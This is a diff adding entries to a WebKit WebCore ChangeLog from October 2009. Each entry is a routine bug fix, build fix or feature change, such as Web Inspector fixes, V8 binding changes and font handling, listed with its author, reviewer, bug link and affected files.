+        * bindings/v8/custom/V8CustomEventListener.h:
+        (WebCore::V8EventListener::create): Removed Frame* param.
+
+2009-10-14  Gaurav Shah  <gauravsh@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Replaces temporary link stub for <keygen> tag handler for the Chromium
+        browser with a call via the Chromium Bridge.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30360
+
+        * platform/SSLKeyGenerator.h:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/SSLKeyGeneratorChromium.cpp:
+        (WebCore::getSupportedKeySizes):
+        (WebCore::signedPublicKeyAndChallengeString):
+        * platform/chromium/TemporaryLinkStubs.cpp:
+        (WebCore::KURL::fileSystemPath):
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+
+2009-10-22  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fixes Chromium Mac pasteboard handling to flow through the same code paths as other platforms.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30591
+
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeImage):
+
+2009-10-20  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Make accelerated compositing debug indicators work in release builds
+        https://bugs.webkit.org/show_bug.cgi?id=30588
+        
+        Allow some debug indicators, that show which page elements go into compositing layers,
+        to work in release builds, when the runtime prefs are set.
+
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::GraphicsLayer):
+        (WebCore::GraphicsLayer::setZPosition):
+        * platform/graphics/GraphicsLayer.h:
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::clearBorderColor):
+        (WebCore::GraphicsLayer::showRepaintCounter):
+        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
+        (WebCore::GraphicsLayerCA::updateMasksToBounds):
+        (WebCore::GraphicsLayerCA::updateLayerDrawsContent):
+        (WebCore::GraphicsLayerCA::setDebugBorder):
+        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
+        (WebCore::GraphicsLayerCA::setupContentsLayer):
+        * platform/graphics/mac/WebLayer.mm:
+
+2009-10-22  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Pavel Feldman.
+
+        Inspector should support monitorEvents/un monitorEvents() in the command line
+        https://bugs.webkit.org/show_bug.cgi?id=19879
+
+        * inspector/front-end/EventListenersSidebarPane.js:
+        (WebInspector.EventListenersSidebarPane.prototype.update.callback): Ignores event listeners generated by monitorEvent
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._ensureCommandLineAPIInstalled): Added _inspectorCommandLineAPI._logEvent, _allEventTypes, 
+        _normalizeEventTypes, monitorEvent, unmonitorEvent.
+
+2009-10-21  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: windowFocused and windowBlurred Fail to Clear/Mark Inspector as "inactive"
+        https://bugs.webkit.org/show_bug.cgi?id=30663
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.windowFocused):
+        (WebInspector.windowBlurred):
+
+2009-10-22  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Error - requestContentType [undefined] is not an object
+        https://bugs.webkit.org/show_bug.cgi?id=30666
+
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView.prototype._refreshFormData):
+
+2009-10-22  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Holger Freyther.
+
+        [Haiku] Correction of the accented letter width (they were 2 characters long).
+        https://bugs.webkit.org/show_bug.cgi?id=30629
+
+        * platform/graphics/haiku/SimpleFontDataHaiku.cpp:
+        (WebCore::SimpleFontData::platformWidthForGlyph):
+
+2009-10-21  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        <rdar://problem/7270320> Screenshots of off-screen plug-ins are blank
+        <rdar://problem/7270314> After halting a transparent PluginView on
+        Windows, the transparency is applied twice
+
+        Replace use of Frame::nodeImage() with a function that takes a snapshot
+        of a PluginView.
+
+        Reviewed by Dan Bernstein.
+
+        * plugins/PluginView.h:
+        Made paintWindowedPluginIntoContext() non-const, as it now calls
+        paintIntoTransformedContext(). Declare paintIntoTransformedContext()
+        and snapshot() for Windows platforms.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::paintIntoTransformedContext):
+        Paints into the passed HDC without applying any coordinate translations.
+        Code moved from paintWindowedPluginIntoContext() and paint(). Removed
+        the memset() of windowpos in lieu of assignment.
+        (WebCore::PluginView::paintWindowedPluginIntoContext):
+        Code moved to paintIntoTransformedContext().
+        (WebCore::PluginView::paint):
+        Ditto.
+        (WebCore::PluginView::snapshot):
+        Create a context, and if the plug-in is windowless, translate it so the
+        plug-in will draw at the correct location. Create a bitmap, and select
+        it into the context. Paint the plug-in, and create a BitmapImage from
+        the bitmap.
+        (WebCore::PluginView::halt):
+        Use snapshot().
+
+2009-10-22  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix calculation of length in WebSocketChannel.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=30656
+
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData):
+
+2009-10-21  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adding the ability to enable/disable functions in V8 at runtime.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30650
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-10-21  Darin Adler  <darin@apple.com>
+
+        Swedish search (and other languages as well) is broken while fixing Japanese search
+        https://bugs.webkit.org/show_bug.cgi?id=30646
+
+        Rolled Japanese tailoring out that was done to fix
+        https://bugs.webkit.org/show_bug.cgi?id=30437 earlier.
+        It was overriding the locale-specific tailoring.
+        We'll land a fix once we figure out how to add the
+        Japanese tailoring without removing anything.
+
+        * editing/TextIterator.cpp: Rolled out r49924.
+
+2009-10-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: chromium build fix - add missing image to gypi.
+
+        * WebCore.gypi:
+
+2009-10-21  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Fixes part of <http://webkit.org/b/30522>.
+        Web Inspector: DOM Exceptions throughout the Inspector should be more human readable.
+
+        Expose the description attribute that is now a member of
+        ExceptionBase as of r49723, so when a user logs an exception, they
+        can see the description in the Web Inspector.
+
+        Test: fast/dom/dom-exception-description.html
+
+        * dom/DOMCoreException.idl:
+        * dom/EventException.idl:
+        * dom/RangeException.idl:
+        * svg/SVGException.idl:
+        * xml/XMLHttpRequestException.idl:
+        * xml/XPathException.idl:
+
+2009-10-21  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30616>.
+        REGRESSION (r49036): Web Inspector: Summary graph no longer switching to size summary.
+        
+        Add a check to make sure a function we need to calculate percentages is
+        defined before we use it.
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype._updateGraphDividersIfNeeded):
+
+2009-10-21  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        REGRESSION: Clicking on nodes in the console should take you to the element in the DOM
+        https://bugs.webkit.org/show_bug.cgi?id=27231
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._formatnode): Turns on ElementsTreeOutline.showInElementsPanelEnabled
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline): Added ElementsTreeOutline.showInElementsPanelEnabled
+        (WebInspector.ElementsTreeElement.prototype.onmousedown): Reveals the node in the Elements panel if 
+        treeOutline.showInElementsPanelEnabled is true.
+
+2009-10-21  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30637
+        Fix a compiler warning in windows.
+
+        * loader/ResourceLoadNotifier.h:
+
+2009-10-21  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix the crash when a node not in a document receives dispatchEvent.
+        https://bugs.webkit.org/show_bug.cgi?id=30611
+
+        Test: fast/events/dispatch-event-no-document.html
+
+        * dom/EventTarget.cpp: Check for scriptExecutionContext() at the moment of dispatchEvent; do nothing if no context.
+        (WebCore::EventTarget::dispatchEvent):
+
+2009-10-21  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium Linux: disable subpixel text on layers.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30635
+        http://code.google.com/p/chromium/issues/detail?id=25365
+
+        With the addition of layers for drawing rounded corners in r49641,
+        subpixel text on rounded rectangles broke. This is because the layer
+        only contains a single alpha channel and this is insufficient to
+        compose subpixel text correctly.
+
+        On Windows, a large body of code in TransparencyWin.cpp exists to try
+        to deal with this. Even then, in some cases, it downgrades to
+        anti-aliased text. We need a fix for the grevious effects quickly thus
+        this patch disables subpixel text when rendering into a layer.
+
+        This would be covered by existing tests except that subpixel text is
+        disabled for pixel tests on Chromium Linux.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::isCanvasMultiLayered):
+        (WebCore::adjustTextRenderMode):
+        (WebCore::Font::drawGlyphs):
+        (WebCore::Font::drawComplexText):
+
+2009-10-21  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wxMac 10.4 build fix, make sure we specify the Sqlite3 dependency correctly as otherwise
+        it will use the sqlite3 system library rather than WebCoreSQLite3.
+
+        * wscript:
+
+2009-10-21  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fixed background-clip parsing regressions introduced in r46240.
+
+        Test: fast/css/background-clip-text.html
+
+        * css/CSSParser.cpp:
+        (WebCore::parseBackgroundClip): Added this helper method.
+        (WebCore::CSSParser::parseFillShorthand): Use parseBackgroundClip() to
+        reparse the value. The old code called parseFillProperty() again, which
+        didn’t work, because parseFillProperty() advances the value list.
+        (WebCore::CSSParser::parseFillProperty): Changed to use
+        parseBackgroundClip().
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::operator EFillBox): Added a case for
+        CSSValueWebkitText.
+
+2009-10-21  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Enable creation of custom SidebarTreeElements for different ProfileTypes
+
+        ProfileTypes can now create sidebar tree elements of custom types.
+        https://bugs.webkit.org/show_bug.cgi?id=30520
+
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.CPUProfileType.prototype.setRecordingProfile):
+        (WebInspector.CPUProfileType.prototype.createSidebarTreeElementForProfile):
+        (WebInspector.CPUProfileType.prototype.createView):
+        (WebInspector.CPUProfile.prototype.get head):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfileType.prototype.buttonClicked):
+        (WebInspector.ProfileType.prototype.viewForProfile):
+        (WebInspector.ProfileType.prototype.createView):
+        (WebInspector.ProfileType.prototype.createSidebarTreeElementForProfile):
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        (WebInspector.ProfilesPanel.prototype.showProfile):
+
+2009-10-20  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Selectors in the Styles pane should trigger a search for that selector when clicked
+        https://bugs.webkit.org/show_bug.cgi?id=17126
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.addNodesToSearchResult): only change focusedDOMNode on a manual search
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection.prototype._clickSelector): trigger a search
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype._startEditing): correctly start editing attribute value instead of name
+
+2009-10-20  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Fix DOM Agent leak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30615
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::~InspectorController):
+
+2009-10-21  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        Plugins: Create manual tests for testing plugins
+        
+        Create two test files:
+        1. windowed.html - Test plugin in windowed mode.
+        2. windowless.html - Test plugin in windowless mode.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30503
+
+        * manual-tests/plugins/windowed.html: Added.
+        * manual-tests/plugins/windowless.html: Added.
+
+2009-10-21  Satoshi Nakagawa  <psychs@limechat.net>
+
+        Reviewed by Darin Adler.
+
+        Fixed Japanese text search problems.
+        Treat small kana letters and kana letters as different characters in search.
+        Do not ignore diacritic marks in search for Japanese texts.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30437
+
+        Test: fast/text/international/japanese-kana-letters.html
+
+        * editing/TextIterator.cpp:
+        (WebCore::createCollator):
+        (WebCore::collator):
+        (WebCore::createSearcher):
+
+2009-10-20  Eric Z. Ayers  <zundel@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Changes TimelineItems to be created with raw timestamps as opposed
+        to a time relative to a start of session.  Normalized timestamps cause
+        problems when monitoring a browsing session across multiple page
+        transitions.
+
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
+        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::willLayout):
+        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::willPaint):
+        (WebCore::InspectorTimelineAgent::willWriteHTML):
+        (WebCore::InspectorTimelineAgent::reset):
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
+        * inspector/InspectorTimelineAgent.h:
+
+2009-10-20  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix leak of WebSocketChannel by adopting the newly-created reference.
+
+        * websockets/WebSocketChannel.h:
+        (WebCore::WebSocketChannel::create):
+
+2009-10-20  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        DOM Storage runtime flag changes
+        https://bugs.webkit.org/show_bug.cgi?id=30602
+
+        Part 1/2.  Removing sessionStorageEnabled in next patch after the
+        Chromium side of the changes lands.
+
+        Revert my changes to Settings and instead implement DOM Storage enabling via
+        the methods agreed upon in https://bugs.webkit.org/show_bug.cgi?id=30240
+
+        This stuff was (intentionally) never exposed to web pages or DRT, so there's no
+        LayoutTest visible changes and thus no tests.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * page/DOMWindow.idl:
+        * storage/Storage.cpp:
+        (WebCore::Storage::setLocalStorageAvailable):
+        (WebCore::Storage::localStorageAvailable):
+        (WebCore::Storage::setSessionStorageAvailable):
+        (WebCore::Storage::sessionStorageAvailable):
+        * storage/Storage.h:
+
+2009-10-20  John Gregg  <johnnyg@google.com>
+
+        Reviewed by David Levin.
+
+        Need to turn off notifications properly at runtime
+        https://bugs.webkit.org/show_bug.cgi?id=30409
+
+        This code only affects chromium, and is all behind a compile time
+        flag current turned off, so no new tests.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * notifications/NotificationCenter.cpp:
+        (WebCore::NotificationCenter::setIsAvailable):
+        (WebCore::NotificationCenter::isAvailable):
+        * notifications/NotificationCenter.h:
+        * page/DOMWindow.idl:
+        * workers/WorkerContext.idl:
+
+2009-10-20  James Robinson  <jamesr@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fixes RefPtr initialization in the V8 implementation of WebCore::ScriptString to use the ::create() idiom and
+        use adoptRef() properly.  I failed to read the RefPtr docs the first time through :(
+
+        No new tests, error was caught by valgrind on the Chromium builders.
+
+        * bindings/v8/ScriptString.h:
+        (WebCore::ScriptString::ScriptString):
+        (WebCore::ScriptString::operator=):
+        * bindings/v8/ScriptStringImpl.h:
+        (WebCore::ScriptStringImpl::create):
+
+2009-10-20  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: populate child nodes before sorting them.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29673
+
+        * inspector/front-end/BottomUpProfileDataGridTree.js:
+        (WebInspector.BottomUpProfileDataGridNode): Swapped with BottomUpProfileDataGridTree to be consistent with TopDownProfileDataGridNode.
+        (WebInspector.BottomUpProfileDataGridNode.prototype._takePropertiesFromProfileDataGridNode):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._keepOnlyChild):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._exclude):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._merge):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._sharedPopulate):
+        (WebInspector.BottomUpProfileDataGridTree.prototype.exclude):
+        * inspector/front-end/ProfileDataGridTree.js:
+        (WebInspector.ProfileDataGridNode.prototype.sort): Added missing parentheses.
+        (WebInspector.ProfileDataGridNode.prototype.get _parent):
+        (WebInspector.ProfileDataGridNode.prototype._populate):
+        * inspector/front-end/TopDownProfileDataGridTree.js:
+        (WebInspector.TopDownProfileDataGridNode.prototype._sharedPopulate):
+
+2009-10-20  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove redundant String ref/deref calls in generated V8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=30579
+
+        * bindings/v8/V8Binding.h:
+        (WebCore::toString): Fix return type of 'toString' to make it truly a no-op
+            instead of constructing/destructing a String.
+
+2009-10-20  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25411
+        [GTK] ATK accessible ancestry broken
+
+        Work around for the problem of bogus additional objects in the ancestry.
+        We now set the parent when we ref the child, then ask the Atk child if
+        it knows its parent. This solves the bulk of the cases. For those it
+        doesn't, fall back to the existing logic.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_parent):
+        (webkit_accessible_ref_child):
+
+2009-10-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Alice Liu.
+
+        Fixes <http://webkit.org/b/30421>.
+        Web Inpsector: Local Files can show up on Cookies List with Cookies from other Domain.
+
+        When a page like Google generates an about:blank, it shows up as a local file on
+        the list of Cookie domains, but has all of the cookies of Google. When we are adding
+        cookie domains to the inspector, we should only add the domain is the URL of the resource
+        is in the HTTP protocol family or a file URL.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didFinishLoading):
+
+2009-10-20  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Use a version of libWebKitSystemInterface with global symbols marked
+        private_extern for Chromium Mac.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30590
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gyp/mac: Added.
+        * WebCore.gyp/mac/Empty.cpp: Added.
+        * WebCore.gyp/mac/adjust_visibility.sh: Added.
+
+2009-10-20  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for WebCore's CSSProperty
+        https://bugs.webkit.org/show_bug.cgi?id=30564
+
+        Inherits CSSProperty class from FastAllocBase because it has been
+        instantiated by 'new' in WebCore/css/CSSParser.cpp:367.
+
+        * css/CSSProperty.h:
+
+2009-10-20  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Hide Chromium's media slider thumb if no source has been loaded.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30529
+
+        Covered by existing layout tests, notably:
+            LayoutTests/media/controls-rendering.html
+            LayoutTests/media/unsupported-tracks.html
+            LayoutTests/media/video-src-none.html
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::hasSource): Returns true if an HTMLMediaElement has a valid source set.
+        (WebCore::paintMediaMuteButton): Refactored to use hasSource().
+        (WebCore::paintMediaPlayButton): Ditto.
+        (WebCore::paintMediaSliderThumb): Add call to hasSource() to determine if we should paint the thumb.
+
+2009-10-20  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Added getter for FrameLoader:m_suppressOpenerInNewFrame.
+        This will allow Chromium to more intelligently detect
+        noreferrer links and therefore open them in a new process.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30581
+
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::suppressOpenerInNewFrame): Added.
+
+2009-10-20  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's CSSParserFunction
+        https://bugs.webkit.org/show_bug.cgi?id=30563
+
+        Inherits CSSParserFunction struct from FastAllocBase because it has been
+        instantiated by 'new' in WebCore/css/CSSParser.cpp:4827.
+
+        * css/CSSProperty.h:
+
+2009-10-20  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Watched Expressions Buttons Do Not Match Inspector Styles
+        https://bugs.webkit.org/show_bug.cgi?id=30554
+
+        * inspector/front-end/inspector.css: added style to pane buttons
+
+2009-10-20  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Set debug id for contexts of isolated worlds to distinguish them in debugger.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30559
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        * bindings/v8/V8Proxy.h:
+
+2009-10-20  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Unreviewed buildfix.
+        [Qt] Add FEGaussianBlur.h and FEGaussianBlur.cpp which were refactored in r49778 to WebCore.pro.
+
+        * WebCore.pro:
+
+2009-10-20  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by David Levin.
+
+        Set EnabledAtRuntime for WebSocket in DOMWindow
+        https://bugs.webkit.org/show_bug.cgi?id=29896
+
+        Supported by chromium/v8 only.
+        Add WebSocket::isAvailable()/setIsAvailable(bool) to control v8
+        bindings.
+        Remove Settings::experimentalWebSocketsEnabled() and
+        setExperimentalWebSocketsEnabled(bool).
+
+        * WebCore.base.exp:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::webSocket):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getConstructor):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * page/DOMWindow.idl:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        * page/Settings.h:
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::setIsAvailable):
+        (WebCore::WebSocket::isAvailable):
+        * websockets/WebSocket.h:
+
+2009-10-19  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        REGRESSION: Dromaeo DOM test is 14% slower
+        https://bugs.webkit.org/show_bug.cgi?id=30273
+
+        Whoops, make prototype bindings actually use the StructureFlags.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-10-19  James Robinson  <jamesr@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Better implementation of WebCore::ScriptString for the V8 bindings.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29909
+
+        WebCore::ScriptString is used for XMLHttpRequest's responseText attribute which is
+        shared with JavaScript.  Thus, simply using a WebCore::String and copying the value
+        is pretty inefficient, especially since responseText is built up with a sequence of
+        operator+= calls.  JSC builds use a JSC::UString to share the buffer when possible,
+        this patch adopts a similar approach for V8.
+
+        No new tests, behavior is unchanged and covered by LayoutTests/http/tests/xmlhttprequest
+
+        * WebCore.gypi:
+        * bindings/v8/ScriptString.h:
+        (WebCore::ScriptString::ScriptString):
+        (WebCore::ScriptString::operator String):
+        (WebCore::ScriptString::isNull):
+        (WebCore::ScriptString::size):
+        (WebCore::ScriptString::operator=):
+        (WebCore::ScriptString::operator+=):
+        (WebCore::ScriptString::v8StringOrNull):
+        * bindings/v8/ScriptStringImpl.cpp: Added.
+        (WebCore::ScriptStringImpl::ScriptStringImpl):
+        (WebCore::ScriptStringImpl::~ScriptStringImpl):
+        (WebCore::ScriptStringImpl::toString):
+        (WebCore::ScriptStringImpl::isNull):
+        (WebCore::ScriptStringImpl::size):
+        (WebCore::ScriptStringImpl::append):
+        * bindings/v8/ScriptStringImpl.h: Added.
+        (WebCore::ScriptStringImpl::ScriptStringImpl):
+        (WebCore::ScriptStringImpl::v8StringHandle):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+
+2009-10-19  Adam Barth  <abarth@webkit.org>
+
+        No review, rolling out r49837.
+        http://trac.webkit.org/changeset/49837
+
+        * page/Settings.cpp:
+        (WebCore::Settings::setStandardFontFamily):
+        (WebCore::Settings::setFixedFontFamily):
+        (WebCore::Settings::setSerifFontFamily):
+        (WebCore::Settings::setSansSerifFontFamily):
+        (WebCore::Settings::setCursiveFontFamily):
+        (WebCore::Settings::setFantasyFontFamily):
+        * page/Settings.h:
+        (WebCore::Settings::standardFontFamily):
+        (WebCore::Settings::fixedFontFamily):
+        (WebCore::Settings::serifFontFamily):
+        (WebCore::Settings::sansSerifFontFamily):
+        (WebCore::Settings::cursiveFontFamily):
+        (WebCore::Settings::fantasyFontFamily):
+        * platform/text/UScriptCode.h: Removed.
+
+2009-10-19  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        Check COMPILER(MSVC) instead of PLATFORM(WIN_OS) to avoid the use of vasprintf.
+        https://bugs.webkit.org/show_bug.cgi?id=30473
+
+        vasprintf is missing in MSVC. Use COMPILER(MSVC) guards instead of
+        PLALTFORM(WIN_OS) guards.
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::error):
+
+2009-10-19  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20797
+
+        Make generic font family getters/setters accept an additional
+        argument (script code). It has a default value so that if an embedder
+        does not have/want a per-script font family setting, call-sites
+        don't have to be changed.
+        This is to prepare for fixing bug 10874 (font selection is not
+        language-dependent) and bug 18085.
+
+        There should be no change in layout and no new layout test
+        is added.
+
+        * WebCore.base.exp:
+        * page/Settings.cpp:
+        * page/Settings.h:
+        * platform/text/UScriptCode.h: Added. This is for ports that
+          do not use ICU. the part of ICU's common/unicode/uscript.h
+          that defines script code enum was copied. To keep enums compatible
+          with those in ICU, we don't generate the list out of Scripts.txt
+          of the Unicode Data base or CLDR's data.
+
+2009-10-19  Evan Stade  <estade@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Clarify usage of SuddenTermination API. No code change.
+
+        * platform/SuddenTermination.h:
+
+2009-10-19  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        REGRESSION: Dromaeo DOM test is 14% slower
+        https://bugs.webkit.org/show_bug.cgi?id=30273
+
+        Make DOM bindings automatically inherit correct structure
+        flags rather than being needlessly conservative.  This is
+        done by making the bindings generator use the same model
+        for TypeInfo flags that we now use in JSC.
+
+        This gains us about 1% of this regression back.
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::createStructure):
+        (WebCore::DOMConstructorObject::createStructure):
+        * bindings/js/JSDOMWindowShell.h:
+        (WebCore::JSDOMWindowShell::createStructure):
+        * bindings/js/JSHTMLAllCollection.h:
+        (WebCore::JSHTMLAllCollection::createStructure):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        (WebCore::JSQuarantinedObjectWrapper::createStructure):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/objc/objc_runtime.h:
+        (JSC::Bindings::ObjcFallbackObjectImp::createStructure):
+        * bridge/runtime_array.h:
+        (JSC::RuntimeArray::createStructure):
+        * bridge/runtime_method.h:
+        (JSC::RuntimeMethod::createStructure):
+        * bridge/runtime_object.h:
+        (JSC::RuntimeObjectImp::createStructure):
+
+2009-10-19  Robin Qiu  <robin.qiu@torchmobile.com.cn>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Fixed a bug on nested SVG <use> elements.
+        https://bugs.webkit.org/show_bug.cgi?id=26117
+        When a <use> element refer to another <use> element which has
+        child/children, the instance tree built for this <use> element
+        is incorrect (more nodes than expected).
+
+        Test: svg/dom/use-on-use-with-child.svg
+
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::buildInstanceTree):
+
+2009-10-19  Oliver Hunt  <oliver@apple.com>
+
+        Small changes to fully invalidate and update the JavaScriptCallFrame.
+
+        <rdar://problem/7020755> JSDebugger crashes after reloading from a breakpoint
+        https://bugs.webkit.org/show_bug.cgi?id=27146
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/JavaScriptCallFrame.h:
+        (WebCore::JavaScriptCallFrame::invalidate):
+        (WebCore::JavaScriptCallFrame::update):
+
